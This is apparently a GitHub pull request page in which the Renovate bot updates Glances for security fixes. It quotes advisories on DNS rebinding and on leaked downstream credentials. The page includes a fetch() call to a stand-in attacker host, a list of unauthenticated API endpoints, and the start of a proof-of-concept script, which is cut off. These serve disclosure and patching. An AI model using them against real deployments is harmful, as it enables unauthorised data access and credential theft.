fetch("http://attacker.example:61208/api/4/status")
  .then(r => r.text())
  .then(console.log)

And if the operator exposes Glances without --password (supported and common), the attacker can read endpoints such as:

GET /api/4/status
GET /api/4/all
GET /api/4/config
GET /api/4/args
GET /api/4/serverslist

Even on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.

Impact

Remote read of local/internal REST data: DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.
Bypass of origin-based browser isolation: Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.
High-value chaining surface: This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.
Token surface exposure: The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.

Recommended Fix

Apply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:

from starlette.middleware.trustedhost import TrustedHostMiddleware

allowed_hosts = config.get_list_value(
    'outputs',
    'allowed_hosts',
    default=['localhost', '127.0.0.1'],
)

self._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)

At minimum:

reject requests whose Host header does not match an explicit allowlist
do not rely on 0.0.0.0 bind semantics as an access-control boundary
document that reverse-proxy deployments must set a strict host allowlist

References

glances/outputs/glances_mcp.py
glances/outputs/glances_restful_api.py
glances/main.py

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`

CVE-2026-32633 / GHSA-r297-p3v4-wp8m

More information

Details

Summary

In Central Browser mode, the /api/4/serverslist endpoint returns raw server objects from GlancesServersList.get_servers_list(). Those objects are mutated in-place during background polling and can contain a uri field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.

If the front Glances Browser/API instance is started without --password, which is supported and common for internal network deployments, /api/4/serverslist is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.

Details

The Browser API route simply returns the raw servers list:

##### glances/outputs/glances_restful_api.py:799-805
def _api_servers_list(self):
    self.__update_servers_list()
    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])

The main API router is only protected when the front instance itself was started with --password. Otherwise there are no authentication dependencies at all:

##### glances/outputs/glances_restful_api.py:475-480
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)

The Glances web server binds to 0.0.0.0 by default:

##### glances/main.py:425-427
parser.add_argument(
    '--bind',
    default='0.0.0.0',
    dest='bind_address',
)

During Central Browser polling, server entries are modified in-place and gain a uri field:

##### glances/servers_list.py:141-148
def __update_stats(self, server):
    server['uri'] = self.get_uri(server)
    ...
    if server['protocol'].lower() == 'rpc':
        self.__update_stats_rpc(server['uri'], server)
    elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:
        self.__update_stats_rest(f"{server['uri']}/api/{__apiversion__}", server)

For protected servers, get_uri() loads the saved password from the [passwords] section (or the default password), hashes it, and embeds it directly in the URI:

##### glances/servers_list.py:119-130
def get_uri(self, server):
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self.password.get_password(server['name'])
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        uri = 'http://{}:{}@&#8203;{}:{}'.format(
            server['username'],
            server['password'],
            server['name'],
            server['port'],
        )
    else:
        uri = 'http://{}:{}'.format(server['name'], server['port'])
    return uri

Password lookup falls back to a global default:

##### glances/password_list.py:55-58
try:
    return self._password_dict[host]
except (KeyError, TypeError):
    return self._password_dict['default']

The sample configuration explicitly supports browser-wide default password reuse:

##### conf/glances.conf:656-663
[passwords]

##### localhost=abc
##### default=defaultpassword

The secret embedded in uri is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:

##### glances/password.py:72-74,94
##### For Glances client, get the password (confirm=False, clear=True):

#####     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash

##### glances/client.py:56-57
if args.password != "":
    self.uri = f'http://{args.username}:{args.password}@&#8203;{args.client}:{args.port}'

The Browser WebUI also consumes that raw uri directly and redirects the user to it:

// glances/outputs/static/js/Browser.vue:83-103
fetch("api/4/serverslist", { method: "GET" })
...
window.location.href = server.uri;

So once server.uri contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.

PoC

Step 1: Verified local live proof that server objects contain credential-bearing URIs

The following command executes the real glances/servers_list.py update logic against a live local HTTP server that always returns 401. This forces Glances to mark the downstream server as PROTECTED and then retry with the saved/default password. After the second refresh, the in-memory server list contains a uri field with embedded credentials.

cd D:\bugcrowd\glances\repo
@&#8203;'
import importlib.util
import json
import sys
import threading
import types
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from defusedxml import xmlrpc as defused_xmlrpc

pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg

client_mod = types.ModuleType('glances.client')
class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):
    def set_timeout(self, timeout):
        self.timeout = timeout
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod

globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = json.loads
sys.modules['glances.globals'] = globals_mod

logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
    debug=lambda *a, **k: None,
    warning=lambda *a, **k: None,
    info=lambda *a, **k: None,
    error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod

password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod


> ✂ **Note**
> 
> PR body was truncated to here.

renovate Bot force-pushed the renovate/pypi-glances-vulnerability branch 2 times, most recently from 40a047c to a5a2224 Compare March 16, 2026 17:51

renovate Bot changed the title ~~fix(deps): update dependency glances to v4.5.1 [security]~~ fix(deps): update dependency glances to v4.5.2 [security] Mar 16, 2026

renovate Bot changed the title ~~fix(deps): update dependency glances to v4.5.2 [security]~~ fix(deps): update dependency glances to v4.5.2 [security] - autoclosed Mar 27, 2026

renovate Bot closed this Mar 27, 2026

renovate Bot deleted the renovate/pypi-glances-vulnerability branch March 27, 2026 04:43

renovate Bot changed the title ~~fix(deps): update dependency glances to v4.5.2 [security] - autoclosed~~ fix(deps): update dependency glances to v4.5.2 [security] Mar 30, 2026

renovate Bot reopened this Mar 30, 2026

renovate Bot force-pushed the renovate/pypi-glances-vulnerability branch 2 times, most recently from a5a2224 to aa51531 Compare March 30, 2026 22:10

renovate Bot changed the title ~~fix(deps): update dependency glances to v4.5.2 [security]~~ Update dependency Glances to v4.5.2 [SECURITY] Apr 7, 2026

Update dependency Glances to v4.5.4 [SECURITY]

53432da

renovate Bot force-pushed the renovate/pypi-glances-vulnerability branch from aa51531 to 53432da Compare April 30, 2026 02:56

renovate Bot changed the title ~~Update dependency Glances to v4.5.2 [SECURITY]~~ Update dependency Glances to v4.5.4 [SECURITY] Apr 30, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update dependency Glances to v4.5.4 [SECURITY]#317

Update dependency Glances to v4.5.4 [SECURITY]#317
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-glances-vulnerability

renovate Bot commented Mar 9, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Mar 9, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Glances Exposes Unauthenticated Configuration Secrets

Details

Summary

Details

PoC

Impact

Severity

References

Glances has SQL Injection via Process Names in TimescaleDB Export

Details

Summary

Affected Code

PoC

Impact

Severity

References

Glances exposes the REST API without authentication

Details

Summary

Details

PoC

Impact

Severity

References

Glances has a Command Injection via Process Names in Action Command Templates

Details

Summary

Details

PoC

Impact

Recommended Fix

Severity

References

Glances has Incomplete Secrets Redaction: /api/v4/args Endpoint Leaks Password Hash and SNMP Credentials

Details

Summary

Details

PoC

Impact

Recommended Fix

Severity

References

Glances's Default CORS Configuration Allows Cross-Origin Credential Theft

Details

Summary

Details

PoC

Impact

Recommended Fix

Severity

References

Glances has a SQL Injection in DuckDB Export via Unparameterized DDL Statements

Details

Summary

Details

PoC

Impact

Recommended Fix

Severity

References

Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding

Details

Summary

Details

Why This Is Exploitable

Proof of Concept

Impact

Recommended Fix

References

Severity

References

Glances's Browser API Exposes Reusable Downstream Credentials via /api/4/serverslist

Details

Summary

Details

PoC

Step 1: Verified local live proof that server objects contain credential-bearing URIs

renovate Bot commented Mar 9, 2026 •

edited

Loading

Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`